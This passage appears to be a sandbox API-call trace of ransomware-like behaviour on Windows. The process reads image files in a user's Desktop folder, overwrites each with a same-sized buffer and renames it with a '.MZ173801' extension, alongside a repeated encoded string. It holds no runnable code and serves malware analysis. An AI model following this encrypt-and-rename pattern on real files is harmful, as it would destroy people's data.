dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f120*=0) returned 0x0 [0145.139] SetFilePointer (in: hFile=0x2ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f118*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f118*=0) returned 0x0 [0145.139] SetFilePointer (in: hFile=0x2ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f118*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f118*=0) returned 0xf798 [0145.139] SetFilePointer (in: hFile=0x2ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f118*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f118*=0) returned 0x0 [0145.139] ReadFile (in: hFile=0x2ac, lpBuffer=0x71c870, nNumberOfBytesToRead=0xf798, lpNumberOfBytesRead=0x18f12c, lpOverlapped=0x0 | out: lpBuffer=0x71c870*, lpNumberOfBytesRead=0x18f12c*=0xf798, lpOverlapped=0x0) returned 1 [0145.158] CloseHandle (hObject=0x2ac) returned 1 [0145.159] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\hWfUtaPtfp9OHXNA9h\\36rYiOW9I_Vo91vZ8DQ2\\WLYZZoP9DJKT\\1VJ5r3V4d2XtN.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hwfutaptfp9ohxna9h\\36ryiow9i_vo91vz8dq2\\wlyzzop9djkt\\1vj5r3v4d2xtn.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2ac [0145.161] WriteFile (in: hFile=0x2ac, lpBuffer=0x72c8a0*, nNumberOfBytesToWrite=0xf798, lpNumberOfBytesWritten=0x18f138, lpOverlapped=0x0 | out: lpBuffer=0x72c8a0*, lpNumberOfBytesWritten=0x18f138*=0xf798, lpOverlapped=0x0) returned 1 [0145.163] CloseHandle (hObject=0x2ac) returned 1 [0145.164] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\hWfUtaPtfp9OHXNA9h\\36rYiOW9I_Vo91vZ8DQ2\\WLYZZoP9DJKT\\1VJ5r3V4d2XtN.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hwfutaptfp9ohxna9h\\36ryiow9i_vo91vz8dq2\\wlyzzop9djkt\\1vj5r3v4d2xtn.bmp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\hWfUtaPtfp9OHXNA9h\\36rYiOW9I_Vo91vZ8DQ2\\WLYZZoP9DJKT\\1VJ5r3V4d2XtN.bmp.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hwfutaptfp9ohxna9h\\36ryiow9i_vo91vz8dq2\\wlyzzop9djkt\\1vj5r3v4d2xtn.bmp.mz173801")) returned 1 [0145.165] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\hWfUtaPtfp9OHXNA9h\\36rYiOW9I_Vo91vZ8DQ2\\WLYZZoP9DJKT\\orOhlbth5jzmFQ3SQWnK.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hwfutaptfp9ohxna9h\\36ryiow9i_vo91vz8dq2\\wlyzzop9djkt\\orohlbth5jzmfq3sqwnk.png"), fInfoLevelId=0x0, lpFileInformation=0x18f16c | out: lpFileInformation=0x18f16c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6e43860, ftCreationTime.dwHighDateTime=0x1d5d913, ftLastAccessTime.dwLowDateTime=0x575d6ee0, ftLastAccessTime.dwHighDateTime=0x1d5e73d, ftLastWriteTime.dwLowDateTime=0x575d6ee0, ftLastWriteTime.dwHighDateTime=0x1d5e73d, nFileSizeHigh=0x0, nFileSizeLow=0xb2f8)) returned 1 [0145.167] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0145.167] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x7a06cc, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0145.169] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\hWfUtaPtfp9OHXNA9h\\36rYiOW9I_Vo91vZ8DQ2\\WLYZZoP9DJKT\\orOhlbth5jzmFQ3SQWnK.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hwfutaptfp9ohxna9h\\36ryiow9i_vo91vz8dq2\\wlyzzop9djkt\\orohlbth5jzmfq3sqwnk.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2ac [0145.169] SetFilePointer (in: hFile=0x2ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f120*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f120*=0) returned 0x0 [0145.170] ReadFile (in: hFile=0x2ac, lpBuffer=0x71c870, nNumberOfBytesToRead=0xb2f8, lpNumberOfBytesRead=0x18f12c, lpOverlapped=0x0 | out: lpBuffer=0x71c870*, lpNumberOfBytesRead=0x18f12c*=0xb2f8, lpOverlapped=0x0) returned 1 [0145.171] CloseHandle (hObject=0x2ac) returned 1 [0145.172] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\hWfUtaPtfp9OHXNA9h\\36rYiOW9I_Vo91vZ8DQ2\\WLYZZoP9DJKT\\orOhlbth5jzmFQ3SQWnK.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hwfutaptfp9ohxna9h\\36ryiow9i_vo91vz8dq2\\wlyzzop9djkt\\orohlbth5jzmfq3sqwnk.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2ac [0145.174] WriteFile (in: hFile=0x2ac, lpBuffer=0x7288a0*, nNumberOfBytesToWrite=0xb2f8, lpNumberOfBytesWritten=0x18f138, lpOverlapped=0x0 | out: lpBuffer=0x7288a0*, lpNumberOfBytesWritten=0x18f138*=0xb2f8, lpOverlapped=0x0) returned 1 [0145.176] CloseHandle (hObject=0x2ac) returned 1 [0145.176] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\hWfUtaPtfp9OHXNA9h\\36rYiOW9I_Vo91vZ8DQ2\\WLYZZoP9DJKT\\orOhlbth5jzmFQ3SQWnK.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hwfutaptfp9ohxna9h\\36ryiow9i_vo91vz8dq2\\wlyzzop9djkt\\orohlbth5jzmfq3sqwnk.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\hWfUtaPtfp9OHXNA9h\\36rYiOW9I_Vo91vZ8DQ2\\WLYZZoP9DJKT\\orOhlbth5jzmFQ3SQWnK.png.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hwfutaptfp9ohxna9h\\36ryiow9i_vo91vz8dq2\\wlyzzop9djkt\\orohlbth5jzmfq3sqwnk.png.mz173801")) returned 1 [0145.177] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\hWfUtaPtfp9OHXNA9h\\36rYiOW9I_Vo91vZ8DQ2\\WLYZZoP9DJKT\\sH-vD-yiiJWK0oHfML.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hwfutaptfp9ohxna9h\\36ryiow9i_vo91vz8dq2\\wlyzzop9djkt\\sh-vd-yiijwk0ohfml.jpg"), fInfoLevelId=0x0, lpFileInformation=0x18f16c | out: lpFileInformation=0x18f16c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9770570, ftCreationTime.dwHighDateTime=0x1d5e331, ftLastAccessTime.dwLowDateTime=0xadf72db0, ftLastAccessTime.dwHighDateTime=0x1d5e713, ftLastWriteTime.dwLowDateTime=0xadf72db0, ftLastWriteTime.dwHighDateTime=0x1d5e713, nFileSizeHigh=0x0, nFileSizeLow=0x17681)) returned 1 [0145.179] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0145.179] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x7a06cc, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0145.181] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\hWfUtaPtfp9OHXNA9h\\36rYiOW9I_Vo91vZ8DQ2\\WLYZZoP9DJKT\\sH-vD-yiiJWK0oHfML.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hwfutaptfp9ohxna9h\\36ryiow9i_vo91vz8dq2\\wlyzzop9djkt\\sh-vd-yiijwk0ohfml.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2ac [0145.181] ReadFile (in: hFile=0x2ac, lpBuffer=0x71c870, nNumberOfBytesToRead=0x17681, lpNumberOfBytesRead=0x18f12c, lpOverlapped=0x0 | out: lpBuffer=0x71c870*, lpNumberOfBytesRead=0x18f12c*=0x17681, lpOverlapped=0x0) returned 1 [0145.183] CloseHandle (hObject=0x2ac) returned 1 [0145.185] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\hWfUtaPtfp9OHXNA9h\\36rYiOW9I_Vo91vZ8DQ2\\WLYZZoP9DJKT\\sH-vD-yiiJWK0oHfML.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hwfutaptfp9ohxna9h\\36ryiow9i_vo91vz8dq2\\wlyzzop9djkt\\sh-vd-yiijwk0ohfml.jpg"), 